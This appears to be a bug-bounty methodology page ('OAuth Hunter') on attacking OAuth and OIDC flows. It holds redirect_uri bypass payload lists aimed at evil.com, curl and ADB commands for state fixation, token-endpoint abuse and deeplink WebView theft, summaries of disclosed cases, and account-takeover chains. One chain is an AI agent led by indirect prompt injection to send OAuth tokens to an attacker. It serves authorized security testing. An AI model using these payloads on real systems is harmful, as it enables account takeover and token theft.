buggy HunterOAuth 2.0 and OIDC vulnerabilities — CSRF on redirect_uri, state fixation, code injection, token leakage, and open redirect chains. Built from 19 reports.
OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.
Highest-value targets:
/oauth/authorize, /connect/authorize)/oauth/token)push_notification_webview, custom scheme URIs)/auth/callback, /oauth/callback)/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webviewLocation: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs.well-known/openid-configuration present = full OIDC surface available/oauth, /connect, /auth, /login paths
- Check .well-known/openid-configuration and .well-known/oauth-authorization-server
- Decompile mobile APKs: apktool d app.apk and grep for redirect_uri, intent://, deep link schemes
client_id, redirect_uri, state, nonce, response_type
- Capture the callback: note where tokens/codes land, what validates state/nonce
redirect_uri validation (highest yield)redirect_uri=https://legit.com.evil.com
- Try path traversal: redirect_uri=https://legit.com/callback/../../../evil
- Try open redirects on the legitimate domain first, then chain into OAuth
- Try parameter pollution: redirect_uri=https://legit.com&redirect_uri=https://evil.com
- Try encoded characters: %2F, %40, %23 to confuse parsers
state parameter (CSRF)state entirely — does the flow complete?
- Reuse a fixed state value across sessions
- Check if state is validated server-side or only client-side
nonce parameter (replay/bypass)/oauth/token directly?
- Check if partial auth state (unverified email) is accepted by the token endpoint
Referer header
- Look specifically at language switchers, analytics calls, social share buttons triggered post-auth
push_notification_webview patterns that accept arbitrary URLs
client_secret appears in JS bundles or APK resources
- Test if token endpoint accepts arbitrary redirect_uri values when combined with leaked client_id/client_secret
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com
# Path traversal https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first) https://legit.com/logout?next=https://evil.com
# Parameter pollution ?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes https://legit.com%2F@evil.com https://legit.com%252F..%252F..evil.com
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit <a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials curl -X POST https://target.com/oauth/token \ -d "grant_type=password" \ -d "username=unverified@evil.com" \ -d "password=password123" \ -d "client_id=CLIENT_ID"
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history # Filter: URL contains "oauth" OR "token" OR "callback" # Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
redirect_uri validation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.state parameter — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed).Referer header.https://*.example.com/*) or don't restrict them at all during development and forget to lock down for production.redirect_uri whitelistredirect_uri=https://legit.com/logout?next=https://evil.comstate parameter requiredresponse_type=token)Referer by browsers, but JavaScript on the callback page may read window.location.hash and pass it to analytics or postMessage to a parent frame. Intercept postMessage handlers.
https%3A//evil.com), double encoding, Unicode normalization, or null bytes to confuse the validator while the underlying webview still navigates correctly.
code_challenge omitted — if the server still issues tokens, PKCE isn't enforced.
Before writing the report, answer all three:
1. What can the attacker DO right now? Be specific: "I can send victim a crafted URL → victim clicks → their OAuth code redirects to my server → I exchange code for access token → I am now logged in as victim." If you can't complete this full chain, it may be informational only.
2. What does the victim LOSE? Minimum bar: victim loses authenticated session (account access). Higher bars: victim loses linked accounts, payment methods, private data. If the attacker only learns the victim's identity without gaining access, severity drops significantly.
3. Can it be reproduced in 10 minutes from scratch? Open a fresh browser/device with no prior state. If you can walk from "unauthenticated" to "authenticated as victim" in 10 minutes using only your written steps, the bug is real and reportable. If it requires lucky timing, specific victim behavior beyond "click a link," or network position, document those dependencies explicitly.
url parameter in its deep link scheme without validating the host. The attacker crafts a malicious URL using the app's custom scheme pointing to their own server. When sent to a victim (via social engineering or a compromised push notification channel), the app opens a WebView navigating to the attacker's server — which then initiates an OAuth flow and captures the OAuth token as it's returned to the "callback" now under attacker control. Result: full account takeover on a payments platform affecting millions of users. Business impact: unauthorized fund transfers, exposure of linked payment methods and transaction history.
/oauth/token endpoint performs no verification status check — it only validates credentials. The attacker calls /oauth/token directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.
access_token in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a Referer header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 10 internal references. Each is a distinct OAuth subclass with a working PoC documented in the cited writeup.
redirect_uri bypass via Unicode-confusable host (homograph)
- Payload: redirect_uri=https://oauth.šemrush.com/cb (punycode xn--emrush-9jb.com) — passed Latin-only string check on validator
- Root cause: server validates redirect_uri host as ASCII-string equality but does not normalize Unicode → confusables → punycode before compare
- Disclosure: 2020, public bounty (amount not disclosed); discoverer Yassine Aboukir
redirect_uri validation bypass → OAuth token exfiltration
- Payload: redirect_uri crafted to defeat the regex/prefix filter and land tokens on attacker host; reporter chained the bypass to a full token-leak PoC
- Root cause: weak redirect_uri filter that accepted attacker-controlled host while still matching the intended pattern
- Year: 2018-disclosed; remains a canonical example of regex-redirect_uri-bypass cited in subsequent reports
redirect_uri ([H1 #1861974](https://hackerone.com/reports/1861974))redirect_uri bypass → authorization-code leakage
- Payload: redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb — server normalized after validation
- Root cause: validator inspected raw string; downstream HTTP/browser handled ../ traversal and emitted code to attacker path
- Disclosure: 2023, $2,000 bounty, 244 upvotes — confirmed paid
redirect_uri validation bypass via domain-suffix / subdomain confusion
- Payload: redirect_uri using a domain that suffix-matched the registered host (e.g., slack.com.attacker.com) defeated the suffix-only check
- Root cause: endsWith() / suffix-match instead of strict host equality
- Disclosure: 2013 (foundational case still cited in modern OAuth training material) — Slack public bounty
response_type swap → Facebook OAuth code/token theft → ATO
- Payload: authorize URL with redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb and response_type toggled to leak tokens via fragment
- Root cause: validator trusted any path under account.booking.com; open redirect on that host bounced the auth code to attacker
- Disclosure: March 2023 — coordinated disclosure, no public bounty figure (~500M MAU exposure)
expo-auth-session) — CVE-2023-28131 ([Salt Labs writeup](https://salt.security/blog/a-new-oauth-vulnerability-that-may-impact-hundreds-of-online-services))returnUrl parameter → cross-app OAuth-code theft (impacts every consumer of expo-auth-session social login)
- Payload: attacker passes returnUrl=https://attacker.tld to the OAuth proxy → Expo blindly forwards Facebook/Google/Apple/Twitter code to attacker
- Root cause: framework-level OAuth proxy did not validate returnUrl host before forwarding the social-IdP callback
- Disclosure: May 2023; CVSS 9.6; fixed Feb 2023 hotfix + deprecated by Feb 26 2023
email claim ("Pass-The-Token" equivalent)
- Payload: attacker sets Azure AD admin profile mail attribute to victim's address → clicks "Log in with Microsoft" on relying party that keys users by email claim → instant ATO
- Root cause: Microsoft email claim is mutable + unverified; RPs treated it as primary identifier
- Disclosure: April 11 2023 reported, fixed June 20 2023 (mitigations + new xms_edov claim)
aud validation on Facebook access_token → cross-client token replay → ATO
- Payload: attacker obtains Facebook token issued for attacker.app → replays the token to Grammarly/Vidio/Bukalapak login API → server fetches FB user via /me, finds victim's email, issues victim session
- Root cause: relying party calls Facebook /me with attacker-issued token but never validates the token's app_id belongs to the RP
- Disclosure: October 2023 — coordinated, ~1B account exposure across the three sites
response_type=token swap + lax postMessage origin check + cookie-tossing → authorization-code leak via web_message response mode → ATO + cam/mic hijack
- Payload: attacker page opens Zoom OAuth with response_type=code&response_mode=web_message, intercepts the resulting postMessage because window listener accepts any *.zoom.us origin → exchanges code for session
- Root cause: combination of weak postMessage origin check, missing CSRF binding on state, and response_mode=web_message returning code to a parent window without exact-origin enforcement
- Disclosure: reported Oct 2023, fixed Jan 2024, $15,000 bounty (Sudi / BrunoZero / H4R3L)
response_type=token on an endpoint that only validated code; combines with promiscuous postMessage listeners and URL-storage gadgets on the callback page to siphon tokens via cross-origin reads
- Root cause: OAuth server tolerates response_type downgrade/swap; callback page leaks window.location via permissive postMessage receivers
- Disclosure: July 2022 — multi-vendor (Apple, Microsoft, Slack et al.); PortSwigger Top 10 Web Hacks 2022 #1
A server-side prefix-match flaw on redirect_uri is necessary but not sufficient to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.
Server redirect_uri validator | Attack URL | Server startswith() | Browser actual host | Exploit? |
|---|---|---|---|---|
prefix = https://acme.example (no slash) | https://acme.example@evil.com/cb | passes | evil.com (per WHATWG URL parsing — @ is the userinfo delimiter, BEFORE the first / after ://) | YES |
prefix = https://acme.example/ (trailing slash) | https://acme.example/@evil.com/cb | passes | acme.example (the @ is now AFTER the first /, so WHATWG parses it as a path character) | NO — browser stays on acme.example |
prefix = https://acme.example (substring match) | https://acme.example.evil.com/cb | passes | acme.example.evil.com (subdomain extension — the .evil.com extends the host) | YES |
prefix = https://acme.example/ (trailing slash, server normalizes ..) | https://acme.example/../../@evil.com/cb | passes raw startswith | acme.example (server normalizes path; even if it didn't, browser path-normalizes too) | usually NO |
prefix = https://acme.example/ (Chromium-specific) | https://acme.example/\@evil.com/cb | passes | host depends — Chromium converts \ to / so this becomes https://acme.example//@evil.com/cb and stays on acme.example | usually NO |
/ after ://. Once the path begins, @ is just a character. Server-side string-startswith checks don't model this — they pass URLs the browser will then route to the legitimate host.
Always headless-test (Playwright / Puppeteer / a real browser) the final navigation BEFORE writing the OAuth finding as ATO-chain. Server-side accept + browser-side stay-on-legitimate-host = not ATO. Verified live in docs/verification/phase3-playwright-browser-execution.md Test 29.
hunt-subdomain — The single highest-impact OAuth chain. Chain primitive: OAuth redirect_uri validator accepts any *.target.com subdomain + recon reveals dev-staging.target.com CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft /oauth/authorize?redirect_uri=https://dev-staging.target.com/cb → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.hunt-ato — OAuth state-CSRF is the textbook ATO-via-account-linking primitive. Chain primitive: state parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures code before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.hunt-llm-ai — Modern OAuth flows for AI agents (ChatGPT plugins, Claude MCP servers, agentic copilots) reuse OAuth 2.1 + PKCE. Chain primitive: agentic AI accepts redirect_uri from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.hunt-saml — When OAuth is layered atop a SAML IdP, the IdP-level XSW becomes the OAuth ATO path. Chain primitive: SAML SP that issues OAuth tokens after assertion-validation + XSW attack on the assertion alters NameID to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.security-arsenal — Pull the OAuth redirect_uri Bypass Table (host-confusion legit.com@evil.com, legit.com.evil.com, path-traversal, parameter pollution, encoded-slash %2F, fragment-injection #legit.com) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.triage-validation — Run the Pre-Severity Gate before claiming Critical on an OAuth "open redirect" that doesn't actually leak a token (only the state param, or the callback page doesn't include credentials in URL). State-only leakage is Low; token/code leakage with successful exchange demonstration is Critical. The exchange-the-code step is non-negotiable.Questions about OAuth Hunter?